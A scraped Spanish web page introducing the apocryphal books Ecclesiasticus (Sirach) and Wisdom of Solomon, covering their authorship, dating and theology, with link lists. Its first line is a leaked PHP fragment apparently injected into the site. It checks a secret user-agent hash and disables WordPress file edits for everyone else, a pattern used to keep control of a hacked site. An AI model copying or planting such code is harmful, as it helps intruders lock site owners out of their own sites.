if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Sabiduría – Texto Bíblico

Eclesiástico

Los Apócrifos

Eclesiástico

El nombre latino Ecclesiasticus fue dado a este libro apócrifo en los primeros días del cristianismo pues se lo consideraba apropiado para ser leído en la iglesia, aunque no está en el canon hebreo. En la LXX generalmente aparece con el título de Sabiduría de Sirac (Siraj, o Sirach), mientras que el Talmud lo llama por el nombre de su autor: Ben Sira’ o Ben Sirac. Es un libro extenso, 51 capítulos, que contiene muchos proverbios y muchas instrucciones acerca de la sabiduría.

El autor cree que no hay salvación fuera de las buenas obras del hombre y que el pecado es el resultado del ejercicio del libre albedrío. Cree en sacrificios de toda clase y los cuenta junto con las fiestas religiosas como de primordial importancia entre las buenas obras del hombre. Para él la sabiduría es una dádiva gratuita de Dios que se debe obtener mediante la observancia de sus mandamientos.

Según se declara en el libro, el Eclesiástico fue escrito en hebreo por un judío palestino llamado Jesús (o Josué), “hijo de Sirá” (BJ), y fue traducido al griego por su nieto, quizá alrededor del año 132 a. C.

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Enlaces externos:

The Jewish Encyclopedia: “Sirach, the wisdom of Jesus the son of”.

Biblia de Jerusalén, Edición 1975 (texto en español).

Bible Gateway: Revised Standard Version (RSV): Sirach (text in English).

Book of Sirach or Ecclesiasticus

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Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

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Sabiduría

Los Apócrifos

Sabiduría

Sabiduría, (Sabiduría de Salomón) es un tratado político-religioso que combina conceptos teológicos del Antiguo Testamento con ideas filosóficas alejandrinas derivadas del platonismo y del estoicismo.

Este libro apócrifo está dividido en dos secciones. La primera trata de la sabiduría y la segunda es histórica.

El autor, que pretende ser Salomón, explica cómo, después de haber sido elegido divinamente como rey: “Tú me elegiste como rey de tu pueblo, como juez de tus hijos y tus hijas” (9:7), es dotado de sabiduría en respuesta a la oración: “Por eso pedí y se me concedió la prudencia; supliqué y me vino el espíritu de Sabiduría. Y la preferí a cetros y tronos y en nada tuve a la riqueza en comparación de ella. Ni a la piedra más preciosa la equiparé, porque todo el oro a su lado es un puñado de arena y barro parece la plata en su presencia. La amé más que la salud y la hermosura y preferí tenerla a ella más que a la luz, porque la claridad que de ella nace no conoce noche. Con ella me vinieron a la vez todos los bienes, y riquezas incalculables en sus manos. Y yo me regocijé con todos estos bienes porque la Sabiduría los trae, aunque ignoraba que ella fuese su madre. Con sencillez la aprendí y sin envidia la comunico; no me guardo ocultas sus riquezas porque es para los hombres un tesoro inagotable y los que lo adquieren se granjean la amistad de Dios recomendados por los dones que les trae la instrucción.” (7:7-14).

El libro estimula a los judíos a apoyar la sabiduría y la justicia, y muestra la necedad del paganismo.

Su segunda mitad es un bosquejo religioso-filosófico de la historia de los tiempos del Pentateuco.  Atribuye la preservación de los siervos de Dios, desde Adán a Moisés y más adelante, a la sabiduría (caps. 10 y 11), y muestra la locura de la idolatría (caps. 13-15).  Las historias de Israel y de Egipto son una demostración especial de los  resultados de la sabiduría por un lado y la necedad por la otra (caps. 16-19).

En todo el libro se destaca la obra del Espíritu de Dios. Enseña que el hombre está compuesto de cuerpo, alma y un espíritu inmortal, y que posee libre albedrío. Aunque no dice nada del Mesías, el autor de esta obra presenta un día de juicio para los impíos y los justos.

Tanto los eruditos católicos como protestantes por lo general sostienen que este libro -escrito en griego- es un producto del judaísmo helenístico del siglo II o I a.C. Probablemente fue escrito en Alejandría.

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 Enlaces externos:

The Jewish Encyclopedia: Wisdom of Solomon, Book of the (LXX. Σοφία Σολομῶνος; Vulgate, “Liber Sapientiæ”).

Texto: (inglés):

Apocrypha: Wisdom

Polyglot Bible: Wisdom

Septuagint: Wisdom

Vulgate (Latin): Wisdom

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Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

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